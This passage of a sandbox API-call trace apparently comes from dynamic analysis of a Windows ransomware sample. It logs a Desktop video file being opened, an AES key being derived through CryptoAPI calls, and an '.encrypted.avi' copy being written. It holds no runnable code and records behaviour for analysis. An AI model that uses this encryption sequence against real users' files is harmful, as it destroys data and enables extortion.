cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 63 [0022.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\X9pGuRd2LUFtykx.avi", cchWideChar=63, lpMultiByteStr=0xe8f4051db0, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\X9pGuRd2LUFtykx.avi", lpUsedDefaultChar=0x0) returned 63 [0022.697] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\X9pGuRd2LUFtykx.avi" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\fmgvztmzkdkwm\\x9pgurd2luftykx.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0022.697] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=63, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0022.697] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=63, lpWideCharStr=0xe8f4067bb0, cchWideChar=63 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\X9pGuRd2LUFtykx.avi") returned 63 [0022.698] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0022.698] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.698] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.698] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0022.698] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0022.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0022.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178700, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0022.699] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0022.699] CloseHandle (hObject=0x1fc) returned 1 [0022.699] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0022.699] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.699] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.699] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0022.699] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.699] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0022.699] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0022.699] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.699] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.699] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.700] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.700] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.700] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.700] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0022.700] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0022.700] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.700] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.700] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.700] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.700] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.700] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.700] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.700] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.700] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.700] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.700] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0022.700] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.700] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.700] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.700] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0022.700] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.700] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.700] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.700] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.700] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.700] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0022.701] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.701] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f4063410) returned 1 [0022.701] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.701] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.701] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0022.701] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.701] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.701] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.701] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.701] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.701] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.701] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.701] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.701] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.701] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.701] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.701] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.701] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0022.701] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.701] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.701] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.701] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.701] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.701] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.702] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.702] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.702] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.702] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.702] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.702] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.702] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.702] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.702] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.702] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.702] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.702] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.702] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.702] CryptCreateHash (in: hProv=0xe8f4063410, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0022.702] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.702] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.702] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.702] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.702] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0022.702] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.702] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.702] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.702] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.702] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.702] CryptHashData (hHash=0xe8f4062790, pbData=0xe8f418b180, dwDataLen=0x20, dwFlags=0x1) returned 1 [0022.702] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.702] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.702] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.702] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.703] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.703] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.703] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.703] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.703] CryptDeriveKey (in: hProv=0xe8f4063410, Algid=0x660e, hBaseData=0xe8f4062790, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062aa0) returned 1 [0022.703] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.703] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.703] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.703] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.703] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.703] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.703] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0022.703] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.703] CryptDestroyHash (hHash=0xe8f4062790) returned 1 [0022.704] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.704] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.704] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.704] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.705] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.705] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\X9pGuRd2LUFtykx.avi" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\fmgvztmzkdkwm\\x9pgurd2luftykx.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0022.705] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.705] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0022.705] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.705] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.705] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.705] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\fmgvztmzkdkwm")) returned 0x10 [0022.705] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\X9pGuRd2LUFtykx.encrypted.avi" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\fmgvztmzkdkwm\\x9pgurd2luftykx.encrypted.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0022.706] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.706] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.706] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.706] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.707] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0022.707] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x5b80, lpOverlapped=0x0) returned 1 [0022.708] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0022.709] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.709] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.710] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.710] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0022.710] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.710] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.710] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0022.710] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.710] CharLowerBuffW 